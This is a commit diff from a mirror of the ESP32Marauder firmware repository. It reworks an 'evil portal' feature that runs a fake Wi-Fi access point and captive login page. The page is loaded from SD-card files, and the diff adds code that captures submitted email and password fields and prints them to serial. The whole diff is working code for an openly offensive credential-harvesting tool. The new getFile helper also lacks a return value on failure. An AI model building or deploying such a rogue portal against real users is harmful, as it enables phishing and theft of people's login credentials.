mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-22 23:26:45 -08:00
Fix evil portal
This commit is contained in:
@@ -217,6 +217,7 @@ void CommandLine::runCommand(String input) {
|
|||||||
Serial.println(HELP_LED_CMD);
|
Serial.println(HELP_LED_CMD);
|
||||||
|
|
||||||
// WiFi sniff/scan
|
// WiFi sniff/scan
|
||||||
|
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||||
Serial.println(HELP_SIGSTREN_CMD);
|
Serial.println(HELP_SIGSTREN_CMD);
|
||||||
Serial.println(HELP_SCANAP_CMD);
|
Serial.println(HELP_SCANAP_CMD);
|
||||||
Serial.println(HELP_SCANSTA_CMD);
|
Serial.println(HELP_SCANSTA_CMD);
|
||||||
@@ -414,7 +415,7 @@ void CommandLine::runCommand(String input) {
|
|||||||
display_obj.clearScreen();
|
display_obj.clearScreen();
|
||||||
menu_function_obj.drawStatusBar();
|
menu_function_obj.drawStatusBar();
|
||||||
#endif
|
#endif
|
||||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
|
||||||
}
|
}
|
||||||
else if (et_command == "reset") {
|
else if (et_command == "reset") {
|
||||||
|
|
||||||
|
|||||||
@@ -6,11 +6,14 @@ EvilPortal::EvilPortal() {
|
|||||||
this->runServer = false;
|
this->runServer = false;
|
||||||
this->name_received = false;
|
this->name_received = false;
|
||||||
this->password_received = false;
|
this->password_received = false;
|
||||||
|
this->has_html = false;
|
||||||
|
this->has_ap = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::begin() {
|
void EvilPortal::begin() {
|
||||||
// wait for init flipper input
|
// wait for init flipper input
|
||||||
//getInitInput();
|
this->setAP();
|
||||||
|
this->setHtml();
|
||||||
|
|
||||||
startPortal();
|
startPortal();
|
||||||
}
|
}
|
||||||
@@ -38,6 +41,7 @@ void EvilPortal::setupServer() {
|
|||||||
inputParam = "email";
|
inputParam = "email";
|
||||||
this->user_name = inputMessage;
|
this->user_name = inputMessage;
|
||||||
this->name_received = true;
|
this->name_received = true;
|
||||||
|
Serial.println(this->user_name);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (request->hasParam("password")) {
|
if (request->hasParam("password")) {
|
||||||
@@ -45,6 +49,7 @@ void EvilPortal::setupServer() {
|
|||||||
inputParam = "password";
|
inputParam = "password";
|
||||||
this->password = inputMessage;
|
this->password = inputMessage;
|
||||||
this->password_received = true;
|
this->password_received = true;
|
||||||
|
Serial.println(this->password);
|
||||||
}
|
}
|
||||||
request->send(
|
request->send(
|
||||||
200, "text/html",
|
200, "text/html",
|
||||||
@@ -53,45 +58,46 @@ void EvilPortal::setupServer() {
|
|||||||
Serial.println("web server up");
|
Serial.println("web server up");
|
||||||
}
|
}
|
||||||
|
|
||||||
bool EvilPortal::checkForCommand(char *command) {
|
void EvilPortal::setHtml() {
|
||||||
bool received = false;
|
Serial.println("Setting HTML...");
|
||||||
if (Serial.available() > 0) {
|
File html_file = sd_obj.getFile("/index.html");
|
||||||
String flipperMessage = Serial.readString();
|
if (!html_file) {
|
||||||
const char *serialMessage = flipperMessage.c_str();
|
Serial.println("Could not open index.html. Exiting...");
|
||||||
int compare = strncmp(serialMessage, command, strlen(command));
|
return;
|
||||||
if (compare == 0) {
|
}
|
||||||
received = true;
|
else {
|
||||||
}
|
String html = "";
|
||||||
|
while (html_file.available()) {
|
||||||
|
char c = html_file.read();
|
||||||
|
if (isPrintable(c))
|
||||||
|
html.concat(c);
|
||||||
|
}
|
||||||
|
strncpy(this->index_html, html.c_str(), strlen(html.c_str()));
|
||||||
|
this->has_html = true;
|
||||||
|
Serial.println("html set");
|
||||||
|
html_file.close();
|
||||||
}
|
}
|
||||||
return received;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::getInitInput() {
|
void EvilPortal::setAP() {
|
||||||
// wait for html
|
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
||||||
Serial.println("Waiting for HTML");
|
if (!ap_config_file) {
|
||||||
bool has_ap = false;
|
Serial.println("Could not open ap.config.txt. Exiting...");
|
||||||
bool has_html = false;
|
return;
|
||||||
while (!has_html || !has_ap) {
|
}
|
||||||
if (Serial.available() > 0) {
|
else {
|
||||||
String flipperMessage = Serial.readString();
|
String ap_config = "";
|
||||||
const char *serialMessage = flipperMessage.c_str();
|
while (ap_config_file.available()) {
|
||||||
if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
|
char c = ap_config_file.read();
|
||||||
serialMessage += strlen(SET_HTML_CMD);
|
Serial.print(c);
|
||||||
strncpy(this->index_html, serialMessage, strlen(serialMessage) - 1);
|
if (isPrintable(c))
|
||||||
has_html = true;
|
ap_config.concat(c);
|
||||||
Serial.println("html set");
|
}
|
||||||
} else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
|
strncpy(this->apName, ap_config.c_str(), strlen(ap_config.c_str()));
|
||||||
0) {
|
this->has_ap = true;
|
||||||
serialMessage += strlen(SET_AP_CMD);
|
Serial.println("ap config set");
|
||||||
strncpy(this->apName, serialMessage, strlen(serialMessage) - 1);
|
ap_config_file.close();
|
||||||
has_ap = true;
|
|
||||||
Serial.println("ap set");
|
|
||||||
} else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
|
|
||||||
this->resetFunction();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
Serial.println("all set");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::startAP() {
|
void EvilPortal::startAP() {
|
||||||
@@ -118,19 +124,17 @@ void EvilPortal::startPortal() {
|
|||||||
this->runServer = true;
|
this->runServer = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::main() {
|
void EvilPortal::main(uint8_t scan_mode) {
|
||||||
this->dnsServer.processNextRequest();
|
if (scan_mode == WIFI_SCAN_EVIL_PORTAL) {
|
||||||
if (name_received && password_received) {
|
this->dnsServer.processNextRequest();
|
||||||
this->name_received = false;
|
if (this->name_received && this->password_received) {
|
||||||
this->password_received = false;
|
this->name_received = false;
|
||||||
String logValue1 =
|
this->password_received = false;
|
||||||
"u: " + this->user_name;
|
String logValue1 =
|
||||||
String logValue2 = "p: " + this->password;
|
"u: " + this->user_name;
|
||||||
Serial.println(logValue1);
|
String logValue2 = "p: " + this->password;
|
||||||
Serial.println(logValue2);
|
Serial.println(logValue1);
|
||||||
|
Serial.println(logValue2);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
//if(this->checkForCommand(RESET_CMD)) {
|
|
||||||
// Serial.println("reseting");
|
|
||||||
// this->resetFunction();
|
|
||||||
//}
|
|
||||||
}
|
}
|
||||||
@@ -7,8 +7,10 @@
|
|||||||
|
|
||||||
#include "configs.h"
|
#include "configs.h"
|
||||||
#include "settings.h"
|
#include "settings.h"
|
||||||
|
#include "SDInterface.h"
|
||||||
|
|
||||||
extern Settings settings_obj;
|
extern Settings settings_obj;
|
||||||
|
extern SDInterface sd_obj;
|
||||||
|
|
||||||
#define WAITING 0
|
#define WAITING 0
|
||||||
#define GOOD 1
|
#define GOOD 1
|
||||||
@@ -20,6 +22,8 @@ extern Settings settings_obj;
|
|||||||
#define START_CMD "start"
|
#define START_CMD "start"
|
||||||
#define ACK_CMD "ack"
|
#define ACK_CMD "ack"
|
||||||
#define MAX_HTML_SIZE 20000
|
#define MAX_HTML_SIZE 20000
|
||||||
|
#define MAX_AP_NAME_SIZE 30
|
||||||
|
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||||
|
|
||||||
class CaptiveRequestHandler : public AsyncWebHandler {
|
class CaptiveRequestHandler : public AsyncWebHandler {
|
||||||
public:
|
public:
|
||||||
@@ -43,15 +47,18 @@ class EvilPortal {
|
|||||||
String user_name;
|
String user_name;
|
||||||
String password;
|
String password;
|
||||||
|
|
||||||
char apName[30] = "PORTAL";
|
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
|
||||||
char index_html[MAX_HTML_SIZE] = "TEST";
|
char index_html[MAX_HTML_SIZE] = "TEST";
|
||||||
|
|
||||||
|
bool has_html;
|
||||||
|
bool has_ap;
|
||||||
|
|
||||||
DNSServer dnsServer;
|
DNSServer dnsServer;
|
||||||
|
|
||||||
void (*resetFunction)(void) = 0;
|
void (*resetFunction)(void) = 0;
|
||||||
|
|
||||||
bool checkForCommand(char *command);
|
void setHtml();
|
||||||
void getInitInput();
|
void setAP();
|
||||||
void setupServer();
|
void setupServer();
|
||||||
void startPortal();
|
void startPortal();
|
||||||
void startAP();
|
void startAP();
|
||||||
@@ -62,7 +69,7 @@ class EvilPortal {
|
|||||||
String get_user_name();
|
String get_user_name();
|
||||||
String get_password();
|
String get_password();
|
||||||
void begin();
|
void begin();
|
||||||
void main();
|
void main(uint8_t scan_mode);
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -75,6 +75,15 @@ bool SDInterface::initSD() {
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
File SDInterface::getFile(String path) {
|
||||||
|
if (this->supported) {
|
||||||
|
File file = SD.open(path, FILE_READ);
|
||||||
|
|
||||||
|
if (file)
|
||||||
|
return file;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void SDInterface::listDir(String str_dir){
|
void SDInterface::listDir(String str_dir){
|
||||||
if (this->supported) {
|
if (this->supported) {
|
||||||
File dir = SD.open(str_dir);
|
File dir = SD.open(str_dir);
|
||||||
|
|||||||
@@ -40,6 +40,7 @@ class SDInterface {
|
|||||||
bool initSD();
|
bool initSD();
|
||||||
|
|
||||||
void listDir(String str_dir);
|
void listDir(String str_dir);
|
||||||
|
File getFile(String path);
|
||||||
void addPacket(uint8_t* buf, uint32_t len);
|
void addPacket(uint8_t* buf, uint32_t len);
|
||||||
void openCapture(String file_name = "");
|
void openCapture(String file_name = "");
|
||||||
void runUpdate();
|
void runUpdate();
|
||||||
|
|||||||
@@ -604,7 +604,6 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
|
|||||||
led_obj.setMode(MODE_SNIFF);
|
led_obj.setMode(MODE_SNIFF);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
Serial.println(text_table4[9] + (String)access_points->size());
|
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||||
display_obj.tteBar = true;
|
display_obj.tteBar = true;
|
||||||
|
|||||||
@@ -15,13 +15,13 @@
|
|||||||
//#define MARAUDER_V6
|
//#define MARAUDER_V6
|
||||||
//#define MARAUDER_KIT
|
//#define MARAUDER_KIT
|
||||||
//#define GENERIC_ESP32
|
//#define GENERIC_ESP32
|
||||||
#define MARAUDER_FLIPPER
|
//#define MARAUDER_FLIPPER
|
||||||
//#define ESP32_LDDB
|
#define ESP32_LDDB
|
||||||
//#define MARAUDER_DEV_BOARD_PRO
|
//#define MARAUDER_DEV_BOARD_PRO
|
||||||
//#define XIAO_ESP32_S3
|
//#define XIAO_ESP32_S3
|
||||||
//// END BOARD TARGETS
|
//// END BOARD TARGETS
|
||||||
|
|
||||||
#define MARAUDER_VERSION "v0.10.9"
|
#define MARAUDER_VERSION "v0.11.0"
|
||||||
|
|
||||||
//// BOARD FEATURES
|
//// BOARD FEATURES
|
||||||
#ifdef MARAUDER_M5STICKC
|
#ifdef MARAUDER_M5STICKC
|
||||||
|
|||||||
@@ -374,6 +374,7 @@ void loop()
|
|||||||
display_obj.main(wifi_scan_obj.currentScanMode);
|
display_obj.main(wifi_scan_obj.currentScanMode);
|
||||||
#endif
|
#endif
|
||||||
wifi_scan_obj.main(currentTime);
|
wifi_scan_obj.main(currentTime);
|
||||||
|
evil_portal_obj.main(wifi_scan_obj.currentScanMode);
|
||||||
|
|
||||||
#ifdef WRITE_PACKETS_SERIAL
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
buffer_obj.forceSaveSerial();
|
buffer_obj.forceSaveSerial();
|
||||||
|
|||||||
Reference in New Issue
Block a user